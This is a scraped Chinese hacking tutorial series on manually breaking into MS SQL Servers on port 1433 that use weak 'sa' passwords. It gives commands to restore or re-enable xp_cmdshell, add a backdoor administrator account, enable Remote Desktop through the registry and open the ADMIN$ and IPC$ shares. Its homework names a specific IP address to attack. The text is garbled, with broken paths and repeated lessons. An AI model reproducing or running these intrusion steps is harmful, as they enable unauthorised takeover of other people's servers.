1433手工入侵系列教程.doc

1433手工入侵系列教程第二课：修复Error Message:未能找到存储过程 master.xp_cmdshell。错误环境：本机xp 服务器2003工具：1.弱口令扫描器2. sql连接器3. Sql查询分析器4. 服务器一台要完成的任务：修复错误Error Message:未能找到存储过程 master.xp_cmdshell。修复方法：xp_cmdshell新的恢复办法 第一步先删除：drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell第二步恢复：dbcc addextendedproc (sp_oacreate,odsole70.dll) dbcc addextendedproc (xp_cmdshell,xplog70.dll) 直接恢复，不管sp_addextendedproc是不是存在 课程总结：作业：自己扫描1433弱口令。尝试一下实例：124.130.109.251 sa 要完成的任务：修复错误拒绝访问 修复方法：Net1Dir net.exe /s /p第五课：修复Error Message:SQL Server 阻止了对组件 xp_cmdshell 的 过程 sys.xp_cmdshell 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 xp_cmdshell。有关启用 xp_cmdshell 的详细信息，请参阅 SQL Server 联机丛书中的 外围应用配置器。错误修复方法：;EXEC sp_configure show advanced options, 1 - ;RECONFIGURE WITH OVERRIDE - ;EXEC sp_configure xp_cmdshell, 1 - ;RECONFIGURE WITH OVERRIDE - ;EXEC sp_configure show advanced options, 0 - 第六课修复错误Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)修复方法：第一步exec sp_dropextendedproc xp_cmdshell第二步dbcc addextendedproc (xp_cmdshell,c:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll);EXEC sp_configure show advanced options, 0 - 第七课要完成的任务：修复错误Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。修复方法：第一步exec sp_dropextendedproc xp_cmdshell第二步dbcc addextendedproc (xp_cmdshell,c:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll);EXEC sp_configure show advanced options, 0 - 1433手工入侵系列教程第八课：开启3389终端开3389： 提权用户名net user admin% 123 /add 破解用户：netlocalg roup administators admin% /add Cmd 命令REG ADD HKLMSYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /fSql命令开3389exec master.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetControlTerminal Server,fDenyTSConnections,REG_DWORD,0;- 关3389：exec master.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetControlTerminal Server,fDenyTSConnections,REG_DWORD,1; 135抓鸡命令抓鸡环境NT LM SECURITY SUPPORT PROVIDERREMOTE PROCEDURE CALL(RPC) LOCATORTCP/IP NETBIOS HELPERserver打开CMD查看本机共享net share开启ADMIN$和ipc$net share ADMIN$net share ipc$ 【华中红客基地】我们打开SQLTOOLS输入我们要提权的弱口令，点连接Error Message:未能找到存储过程 master.xp_cmdshell。修复法：很通用的，其实碰到 其他126 127的都可以一起修复，除了xplog70.dll其他的都可以用这命令修复xp_cmdshell新的恢复办法 第一步先删除：drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell 第二步恢复：dbcc addextendedproc (sp_oacreate,odsole70.dll) dbcc addextendedproc (xp_cmdshell,xplog70.dll) 直接恢复，不管sp_addext